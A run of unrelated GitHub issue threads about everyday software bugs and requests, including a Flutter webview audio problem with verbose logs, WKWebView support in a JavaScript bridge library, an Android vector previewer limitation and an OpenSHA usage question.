I had this impression too, but just recently we had a couple issues submitted in this repo by people who use kafkatest

Does that mean that you would like to continue maintaining it as part of v2?

@e-max So, I moved kafkatest to v2/kafkatest.


Strange White Screen

Whenever I try to open my profile I am met with a pure white screen
https://sky.shiiyu.moe/stats/GamingShadow64
Normally you'd get actual information like every other profile is visited but for some reason, mine is the only one (that I've found) that refuses to show anything

This is what happens when you try to view my profile

OS: Windows 10
Browser Chrome
Version 119.0.6045.159

Id also like to say, unlike other issues I've seen reported. My profile doesn't say anything isn't detected it just doesn't show anything

I'm having the same issue on my profile. pandavilly333. I haven't been able to view it for a week now.

@metalcupcake5 close this

fix: temporarily use https://cupcake.shiiyu.moe/


For xml assets: android:fillType isn't supported

Hi team,
I am noticing the android:fillType isn't supproted
Example, on Android Studio looks correctly but when I preview it with the tool it doesn't.
On Android Studio:

On Google Chome extension:

Below is the xml file.
<vector xmlns:android="http://schemas.android.com/apk/res/android"
  android:width="48dp"
  android:height="48dp"
  android:viewportWidth="48"
  android:viewportHeight="48">
  <path
    android:fillType="evenOdd"
    android:pathData="M16,10A7,7 0,1 1,2 9a7,7 0,0 1,14 0zM10.938,6.21a0.65,0.65 0,0 1,0.92 0.919l-1.93,1.929 1.889,1.889a0.65,0.65 0,1 1,-0.92 0.919L9.01,9.777l-1.89,1.99a0.65,0.65 0,0 1,-0.919 -0.92l1.89,-1.89 -1.93,-1.929a0.65,0.65 0,0 1,0.92 -0.919l1.959,1.93 1.929,-1.99z"
    android:fillColor="#121439"/>
</vector>

It's noted in https://github.com/jmatsu/vector-drawable-previewer#appendix
Contributions are welcome.


Audio stop by itself on ios  app after a minute in my webview flutter application

I have built a flutter application using this webview_flutter 0.3.22+1 plugin. This is a radio application that plays radio from the website. In android, it works fine but in ios, it stops by itself.

Hi @therezacuet
Can you please provide :

flutter doctor -v

flutter run --verbose

minimal complete reproducible code sample

Thank You

$ flutter run --verbose
[  +92 ms] executing: [C:\flutter\flutter/] git -c log.showSignature=false log -n 1 --pretty=format:%H
[ +161 ms] Exit code 0 from: git -c log.showSignature=false log -n 1 --pretty=format:%H
[   +2 ms] 1ad9baa8b99a2897c20f9e6e54d3b9b359ade314
[   +1 ms] executing: [C:\flutter\flutter/] git tag --contains HEAD
[ +689 ms] Exit code 0 from: git tag --contains HEAD
[        ] 1.17.4
[  +27 ms] executing: [C:\flutter\flutter/] git rev-parse --abbrev-ref --symbolic @{u}
[  +56 ms] Exit code 0 from: git rev-parse --abbrev-ref --symbolic @{u}
[        ] origin/stable
[        ] executing: [C:\flutter\flutter/] git ls-remote --get-url origin
[  +60 ms] Exit code 0 from: git ls-remote --get-url origin
[        ] https://github.com/flutter/flutter.git
[ +254 ms] executing: [C:\flutter\flutter/] git rev-parse --abbrev-ref HEAD
[  +71 ms] Exit code 0 from: git rev-parse --abbrev-ref HEAD
[        ] stable
[ +127 ms] Artifact Instance of 'AndroidMavenArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'AndroidGenSnapshotArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'AndroidInternalBuildArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'IOSEngineArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'FlutterWebSdk' is not required, skipping update.
[  +11 ms] Artifact Instance of 'WindowsEngineArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'MacOSEngineArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'LinuxEngineArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'LinuxFuchsiaSDKArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'MacOSFuchsiaSDKArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'FlutterRunnerSDKArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'FlutterRunnerDebugSymbols' is not required, skipping update.
[  +85 ms] executing: C:\Users\sarwar\AppData\Local\Android\sdk\platform-tools\adb.exe devices -l
[ +166 ms] List of devices attached
[  +16 ms] Artifact Instance of 'MaterialFonts' is not required, skipping update.
[        ] Artifact Instance of 'GradleWrapper' is not required, skipping update.
[        ] Artifact Instance of 'AndroidMavenArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'AndroidGenSnapshotArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'AndroidInternalBuildArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'IOSEngineArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'FlutterWebSdk' is not required, skipping update.
[        ] Artifact Instance of 'FlutterSdk' is not required, skipping update.
[        ] Artifact Instance of 'WindowsEngineArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'MacOSEngineArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'LinuxEngineArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'LinuxFuchsiaSDKArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'MacOSFuchsiaSDKArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'FlutterRunnerSDKArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'FlutterRunnerDebugSymbols' is not required, skipping update.
[        ] Artifact Instance of 'IosUsbArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'IosUsbArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'IosUsbArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'IosUsbArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'IosUsbArtifacts' is not required, skipping update.
[        ] Artifact Instance of 'FontSubsetArtifacts' is not required, skipping update.
[ +612 ms] No supported devices connected.
[  +43 ms] "flutter run" took 1,133ms.
#0      throwToolExit (package:flutter_tools/src/base/common.dart:14:3)
#1      RunCommand.validateCommand (package:flutter_tools/src/commands/run.dart:336:7)

#2      FlutterCommand.verifyThenRunCommand (package:flutter_tools/src/runner/flutter_command.dart:703:11)

#3      FlutterCommand.run. (package:flutter_tools/src/runner/flutter_command.dart:620:33)

#4      FlutterCommand.run. (package:flutter_tools/src/runner/flutter_command.dart)
#5      AppContext.run. (package:flutter_tools/src/base/context.dart:150:29)
#6      _rootRun (dart:async/zone.dart:1184:13)
#7      _CustomZone.run (dart:async/zone.dart:1077:19)
#8      _runZoned (dart:async/zone.dart:1619:10)
#9      runZoned (dart:async/zone.dart:1539:10)
#10     AppContext.run (package:flutter_tools/src/base/context.dart:149:18)
#11     FlutterCommand.run (package:flutter_tools/src/runner/flutter_command.dart:610:20)
#12     CommandRunner.runCommand (package:args/command_runner.dart:197:27)
#13     FlutterCommandRunner.runCommand. (package:flutter_tools/src/runner/flutter_command_runner.dart:339:21)

#14     FlutterCommandRunner.runCommand. (package:flutter_tools/src/runner/flutter_command_runner.dart)
#15     AppContext.run. (package:flutter_tools/src/base/context.dart:150:29)
#16     _rootRun (dart:async/zone.dart:1184:13)
#17     _CustomZone.run (dart:async/zone.dart:1077:19)
#18     _runZoned (dart:async/zone.dart:1619:10)
#19     runZoned (dart:async/zone.dart:1539:10)
#20     AppContext.run (package:flutter_tools/src/base/context.dart:149:18)
#21     FlutterCommandRunner.runCommand (package:flutter_tools/src/runner/flutter_command_runner.dart:288:19)
#22     CommandRunner.run. (package:args/command_runner.dart:112:25)
#23     new Future.sync (dart:async/future.dart:224:31)
#24     CommandRunner.run (package:args/command_runner.dart:112:14)
#25     FlutterCommandRunner.run (package:flutter_tools/src/runner/flutter_command_runner.dart:231:18)
#26     run.. (package:flutter_tools/runner.dart:63:22)
#27     _rootRun (dart:async/zone.dart:1184:13)
#28     _CustomZone.run (dart:async/zone.dart:1077:19)
#29     _runZoned (dart:async/zone.dart:1619:10)
#30     runZonedGuarded (dart:async/zone.dart:1608:12)
#31     runZoned (dart:async/zone.dart:1536:12)
#32     run. (package:flutter_tools/runner.dart:61:18)

#33     run. (package:flutter_tools/runner.dart)
#34     runInContext.runnerWrapper (package:flutter_tools/src/context_runner.dart:64:18)

#35     runInContext.runnerWrapper (package:flutter_tools/src/context_runner.dart)
#36     AppContext.run. (package:flutter_tools/src/base/context.dart:150:29)
#37     _rootRun (dart:async/zone.dart:1184:13)
#38     _CustomZone.run (dart:async/zone.dart:1077:19)
#39     _runZoned (dart:async/zone.dart:1619:10)
#40     runZoned (dart:async/zone.dart:1539:10)
#41     AppContext.run (package:flutter_tools/src/base/context.dart:149:18)
#42     runInContext (package:flutter_tools/src/context_runner.dart:67:24)
#43     run (package:flutter_tools/runner.dart:48:10)
#44     main (package:flutter_tools/executable.dart:69:9)
#45     main (file:///C:/flutter/flutter/packages/flutter_tools/bin/flutter_tools.dart:8:3)
#46     _startIsolate. (dart:isolate-patch/isolate_patch.dart:299:32)
#47     _RawReceivePortImpl._handleMessage (dart:isolate-patch/isolate_patch.dart:168:12)
#####################################################################################
flutter doctor -v
[√] Flutter (Channel stable, v1.17.4, on Microsoft Windows [Version 10.0.18363.1016], locale en-US)
• Flutter version 1.17.4 at C:\flutter\flutter
• Framework revision 1ad9baa8b9 (2 months ago), 2020-06-17 14:41:16 -0700
• Engine revision ee76268252
• Dart version 2.8.4
[!] Android toolchain - develop for Android devices (Android SDK version 29.0.3)
• Android SDK at C:\Users\sarwar\AppData\Local\Android\sdk
• Platform android-29, build-tools 29.0.3
• Java binary at: C:\Program Files\Android\Android Studio\jre\bin\java
• Java version OpenJDK Runtime Environment (build 1.8.0_212-release-1586-b04)
X Android license status unknown.
Try re-installing or updating your Android SDK Manager.
See https://developer.android.com/studio/#downloads or visit visit https://flutter.dev/docs/get-started/install/windows#android-setup for detailed instructions.
[√] Android Studio (version 3.6)
• Android Studio at C:\Program Files\Android\Android Studio
• Flutter plugin version 46.0.1
• Dart plugin version 192.8052
• Java version OpenJDK Runtime Environment (build 1.8.0_212-release-1586-b04)
[!] IntelliJ IDEA Ultimate Edition (version 2019.2)
• IntelliJ at C:\Program Files\JetBrains\IntelliJ IDEA 2019.2.3
X Flutter plugin not installed; this adds Flutter specific functionality.
• Dart plugin version 192.7761
• For information about installing plugins, see
https://flutter.dev/intellij-setup/#installing-the-plugins
[!] VS Code (version 1.41.1)
• VS Code at C:\Users\sarwar\AppData\Local\Programs\Microsoft VS Code
X Flutter extension not installed; install from
https://marketplace.visualstudio.com/items?itemName=Dart-Code.flutter
[!] Connected device
! No devices available
! Doctor found issues in 4 categories.

@therezacuet you have macOS too for iOS Development ?

Flutter (Channel stable, v1.17.4, on Microsoft Windows [Version 10.0.18363.1016], locale en-US)

Can you provide the result of commands mentioned above from your iOS Development environment ?

Hi @therezacuet
Please provide a minimal reproducible sample code and the steps to reproduce this issue.
Thank you

Without additional information, we are unfortunately not sure how to resolve this issue.
We are therefore reluctantly going to close this bug for now.
Please don't hesitate to comment on the bug if you have any more information for us; we will reopen it right away!
Thanks for your contribution.


Extract form to a separate package & use new export features

This PR extracts the form code to a separate @vaadin/form package.
It also applies the new export features (similar for the approach lit uses).

@web-padawan, could you please also take a look at the PR? I would like to hear your opinion on changes I did for package exports field. I tried to implement the same package.json approach as lit team did.


deploy on server as https://*.walpy.cf

[ ] add port config to app;
[ ] add vacancy.walpy.cf subdomain;
[ ] add app on server;
[ ] add daemon to server app;
[ ] configure app and nginx (https://localhost:5005/ -> https://vacancy.walpy.cf);

added vacancy.walpy.cf and vacancy.allan.walpy.cf to freenom dns and vulrt hosting

git clone app to server

all done

see vacancy.walpy.cf or vacancy.allan.walpy.cf


Fix translations

ok, if this is only missing extract&compile, we can close this, it will happen automagically over the weekend :+1:


Support WKWebView in iOS8?

I've read https://github.com/marcuswestin/WebViewJavascriptBridge/issues/84
and don't know whether you are going to support WKWebView in iOS8 or not? I really appreciate if you support WKWebView. :)

I just want to add that personally I'm not using WKWebView in production because it has too many bugs. I'm not convinced it's ready.

Another thing is I want to load the local resource. WKWebView for now cannot load the local resource. Is it possible for FLWebView to make it work? :)

@chipbk10 check out github.com/marcuswestin/WebViewProxy - it will let you intercept requests for e.g images and then e.g serve them from the local file system if you choose.
-- while mobile
On Thu, Mar 26, 2015 at 8:33 AM, chipbk10<EMAIL_ADDRESS>wrote:

Another thing is I want to load the local resource. WKWebView for now cannot load the local resource. Is it possible for FLWebView to make it work? :)
Reply to this email directly or view it on GitHub:
https://github.com/marcuswestin/WebViewJavascriptBridge/issues/126#issuecomment-86490481

@marcuswestin: What are you talking about? My problem is I have a html resources downloaded from the server. I want to load it on WKWebView. I use FLWebView for backward compatibility and follow this tutorial :http://stackoverflow.com/questions/24882834/wkwebview-not-working-in-ios-8-beta-4
But still cannot load everything from www folder in Temporary path. The WKWebView cannot load external resources like javascript, xml files.

Got it, my bad - I must have misunderstood your need.
Cheers
-- while mobile
On Thu, Mar 26, 2015 at 10:15 AM, chipbk10<EMAIL_ADDRESS>wrote:

@marcuswestin: What are you talking about? My problem is I have a html resources downloaded from the server. I want to load it on WKWebView. I use FLWebView for backward compatibility and follow this tutorial :http://stackoverflow.com/questions/24882834/wkwebview-not-working-in-ios-8-beta-4
But still cannot load everything from www folder in Temporary path. The WKWebView cannot load external resources like javascript, xml files.
Reply to this email directly or view it on GitHub:
https://github.com/marcuswestin/WebViewJavascriptBridge/issues/126#issuecomment-86533329

Looking forward update for support WKWebView...

@luowei , @chipbk10, if you still have interesting on JavaScript bridge which supports WKWebView, I'd like to invite you the take a look at the XWebView project.

This is done since a while back :)
Use 4.1.5 for WKWebView support.
You should also consider switching to v5.0.1. If you do, please note that the API has changed. In particular, make sure that you use the javascript setup code, as it has changed: https://github.com/marcuswestin/WebViewJavascriptBridge#usage.
Cheers!


Seperate component-specific dependencies + Conditional dependencies

Currently, all dependencies for the various components are included in the environment.yml file. However, the different modules have different requirements, e.g. the Trainer depends on PyTorch and Torchvision, which are not needed by the Supervisor.
We should be able to clearly separate component-specific dependencies, from dependencies required for the whole project.
Furthermore, since training will most commonly run on GPUs, we need to specify the pytorch-cuda version we are using, and install cudatoolkit. Furthermore, on macOS, the pytorch channel PyTorch version breaks, so we somehow want conditional dependencies.
Last, we might want conditional dependencies in a sense that we specify "use_apex" somewhere and then install apex if that is set on the trainer server.

PR #258 addresses the conditional dependencies for mac/cuda.
However, we still have to think about whether we want to have component-specific dependencies. Maybe it also does not make sense because I see many Docker issues coming up, need to think about this.


Issues with Using OpenSHA to Extract Ground Motions Medians and Stds

Hi I am a graduate student at Stanford. I was attempting to utilize OpenSHA java application to get the ground motion intensity data, which worked perfectly well in the past, but encountered problems since about last July. I am writing to inquiry whether there has been an update or whether you depreciated the ERF. A couple of students and researchers here at Stanford have encountered similar issues. My email address is<EMAIL_ADDRESS>Thank you for your time.

Hello @wangcb98, are you using the most recent version of our applications page? They can be found at the "releases" page of this repository, or there's more information at https://opensha.org/Applications
If you are running the current version and run into any issues, please paste the error stack trace as a comment (it will print to the console, or also should bring up a bug report dialog that can automatically populate a new ticket for you). It will look some thing like (this is an example from another ticket):
java.lang.IndexOutOfBoundsException: Index: 1, Size: 0
	at org.opensha.sha.gui.HazardCurveApplication.handleForecastList(HazardCurveApplication.java:1624)
	at org.opensha.sha.gui.HazardCurveApplication.computeHazardCurve(HazardCurveApplication.java:1233)
	at org.opensha.sha.gui.HazardCurveApplication.run(HazardCurveApplication.java:880)
	at java.lang.Thread.run(Unknown Source)

Hello @wangcb98, are you using the most recent version of our applications page? They can be found at the "releases" page of this repository, or there's more information at https://opensha.org/Applications
If you are running the current version and run into any issues, please paste the error stack trace as a comment (it will print to the console, or also should bring up a bug report dialog that can automatically populate a new ticket for you). It will look some thing like (this is an example from another ticket):
java.lang.IndexOutOfBoundsException: Index: 1, Size: 0
	at org.opensha.sha.gui.HazardCurveApplication.handleForecastList(HazardCurveApplication.java:1624)
	at org.opensha.sha.gui.HazardCurveApplication.computeHazardCurve(HazardCurveApplication.java:1233)
	at org.opensha.sha.gui.HazardCurveApplication.run(HazardCurveApplication.java:880)
	at java.lang.Thread.run(Unknown Source)

Closing this as we have not heard back and I'm going to assume it was an issue with an outdated app version. Please reopen and supply error messages if you still need assistance.